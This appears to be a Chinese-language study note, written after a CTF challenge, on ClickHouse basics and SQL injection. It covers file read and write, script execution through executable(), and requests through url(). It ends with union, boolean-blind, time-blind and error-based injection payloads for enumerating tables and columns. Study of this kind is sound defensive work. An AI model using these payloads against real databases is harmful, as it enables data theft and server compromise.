clickhouse
遇到一題clickhouse注入相關的,沒有見過,于是來學習clickhouse的使用,并總結相關注入手法。
環境搭建
直接在docker運行
docker pull clickhouse/clickhouse-server
docker run -d --name some-clickhouse-server --ulimit nofile=262144:262144 clickhouse/clickhouse-server
基礎sql語句
列出數據庫
show databases;
列出表
show tables;
查看表結構
desc system.databases;
select name,database,data_path from system.databases;
建表語句
CREATE DATABASE IF NOT EXISTS helloworld;
CREATE TABLE helloworld.my_first_table
(
user_id UInt32,
message String,
timestamp DateTime,
metric Float32
)
ENGINE = MergeTree()
PRIMARY KEY (user_id, timestamp)
插入數據
INSERT INTO helloworld.my_first_table (user_id, message, timestamp, metric) VALUES
(101, 'Hello, ClickHouse!', now(), -1.0 ),
(102, 'Insert a lot of rows per batch', yesterday(), 1.41421 ),
(102, 'Sort your data based on your commonly-used queries', today(), 2.718 ),
(101, 'Granules are the smallest chunks of data read', now() + 5, 3.14159 )
system 數據庫
這個數據庫存儲了數據庫信息、表信息、字段信息
select name,table,database from system.tables where database=database();
select name,table from system.columns where table='my_first_table';
infomation_schema 數據庫
這個數據庫也是存儲了數據庫、表、字段信息
查表
查列
常規函數
常規函數就是產生一個值的函數
字符串拼接
concatWithSeparator(sep, expr1, expr2, expr3...);
字符串切割
select substring('abcdef',2,3);
字符串比較
select startsWith(str, prefix)
select endsWith(str, suffix)
編碼
select ascii('a')
select char(97)
select base64Encode('clickhouse')
select base64Decode('Y2xpY2tob3VzZQ==')
sleep
當sleep參數大于3時,不運行,直接報錯
聚合函數
字段拼接
select groupArray(message) from my_first_table
groupArray的返回結果是數組,不能直接與字符串類型進行union操作
select groupArray(message) from my_first_table union all select '123';
得先把數組轉換成字符串,才能進行union
select arrayStringConcat(groupArray(message),',') from my_first_table;
表函數
表函數就是接在from后面的,返回的結果作為一張表,能夠被查詢
執行腳本文件
在/var/lib/clickhouse/user_scripts/這個目錄下創建腳本文件:
python |
執行sql語句:SELECT * FROM executable('1.py', TabSeparated, 'id UInt32, random String', (SELECT 10))
其中TabSeparated表示腳本文件的輸出每行以\t符號分隔,用于解析結果,可以換成TSV
如果腳本文件的輸出以逗號結尾,那么就寫CSV
最后一個參數要傳入一個query語句,結果會被傳入腳本文件的標準輸入
用什么解釋器執行腳本,取決于文件開頭的注釋#!/
當嘗試跨目錄執行文件時,報錯:
文件讀取
按照一定的格式讀取文件,要求文件的路徑在user_files下
語法:
file([path_to_archive ::] path [,format] [,structure] [,compression]) |
例如文件內容為:
java |
查詢sql語句:SELECT * FROM file('1.txt', 'CSV', 'column1 UInt32, column2 UInt32, column3 UInt32');
寫文件
沒有別的限制,任意位置都可寫
select 1,2,3 union all select 123,4556,789 into outfile '/tmp/1.txt';
發起網絡請求
SELECT * FROM url('http://127.0.0.1:12345/', CSV, 'column1 String, column2 UInt32', headers('Accept'='text/csv; charset=utf-8'));
其他
除了上述表函數,還能夠發起mysql連接,jdbc連接,redis連接,詳細可以查閱文檔。總之功能十分多樣
注入手法
獲取表名:
select arrayStringConcat(groupArray(name),',') from system.tables where database=database()
select arrayStringConcat(groupArray(table),',') from system.tables where database=database()
select arrayStringConcat(groupArray(table_schema),',') from information_schema.tables where table_schema=database()
獲取列名
select arrayStringConcat(groupArray(name),',') from system.columns where table='your_table'
select arrayStringConcat(groupArray(column_name),',') from information_schema.tables where table_name='your_table'
聯合注入
要點:
1. 不能寫union select,應該寫union all select 或者union distinct select
2. 兩個查詢對應的列的數據類型要相同
布爾盲注
和mysql差不多,就是注意一下有哪些函數可以互相平替的,比如字符串截取,編碼等函數,方便繞過對特定函數的過濾。
ascii(substr('xxx',0,1))=97
if(ascii(substr('xxx',0,1)) = 97,0,1)
時間盲注
if(ascii(substr('xxx',0,1)) = 97,0,sleep(1))
可以執行其他耗時的查詢代替sleep:
報錯注入
select 1 where 1=CAST((select database()) as UInt32)